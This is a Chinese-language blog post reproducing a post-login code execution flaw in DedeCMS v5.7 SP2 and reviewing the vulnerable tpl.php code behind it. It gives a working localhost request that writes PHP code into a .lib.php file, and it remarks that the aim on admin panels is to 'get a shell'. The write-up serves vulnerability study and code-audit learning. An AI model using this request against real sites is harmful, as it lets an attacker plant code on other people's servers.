dedecms v5.7 sp2代码执行漏洞复现

  1. 漏洞复现
  2. 漏洞复现
  3. 思考

终于复现成功一个漏洞了~~ 不过是后台的一个漏洞
– 源码地址:http://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7-UTF8-SP2.tar.gz

漏洞复现

要有后台管理员账号密码,登录后台。

访问/dede/tpl.php?action=upload,审查源码,获取我们的token值。

然后访问:

1
http://127.0.0.1/dedev5.7/dede/tpl.php?filename=test.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=abb438be63426baeee2db81a27dfd910

后面加上我们上一步获取的token值。

然后访问我们的

1
http://127.0.0.1/dedev5.7/include/taglib/test.lib.php

发现我们的代码写进去了。

访问include/taglib/test.lib.php

漏洞复现

想一想我们的思路:
1、获取token值
2、访问指定的链接

就把我们的代码写入到/include/taglib/xxx.lib.php中

token值很容易获取,那么问题就是在那个链接上面:

1
http://127.0.0.1/dedev5.7/dede/tpl.php?filename=test.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=abb438be63426baeee2db81a27dfd910

看一下参数,就知道这是一个文件保存的操作。

问题出现在tpl.php

这个文件代码也没有多少。

很快就能定位到问题代码。不过我这里可能是编码的原因有点乱码,但是这问题不大,我们把逻辑结构看懂就行了。

首先会匹配正则, 要以.lib.php结尾。

然后会将 $content 写入到 $filename 中。

那么我们要跟踪一下文件对这两个参数进行的处理。

然后我们回过头来看整个文件的代码。

1
2
3
4
5
$filename = preg_replace("#[\/\\\\]#", '', $filename);	//line21


$tagname = preg_replace("#\.lib\.php$#i", "", $filename); //line260
$content = stripslashes($content); //line261

可以看出,只有替换,并没有对参数进行安全防护措施。

思考

又是一个安全防护不到位的一个漏洞,为什么就没挖到呢。

于是用seay源代码审计扫了一下。没有扫出这个漏洞点。

发现这个点是后台的一个功能点。

代码审计还是需要多方面考虑,以前一直在看代码,没有从功能点上去考虑,可以转换一下代码审计的思路,尝试去通过功能点,去思考可能会存在什么漏洞,然后去看源码。

对于后台,通常不管是渗透测试、还是代码审计,目标都是拿shell,那么我们就要多多考虑对文件进行的操作了。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com

文章标题:dedecms v5.7 sp2代码执行漏洞复现

本文作者:sher10ck

发布时间:2019-08-06, 10:57:43

最后更新:2020-01-13, 13:04:55

原始链接:http://sherlocz.github.io/2019/08/06/dedecms-v5-7-sp2代码执行漏洞复现/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录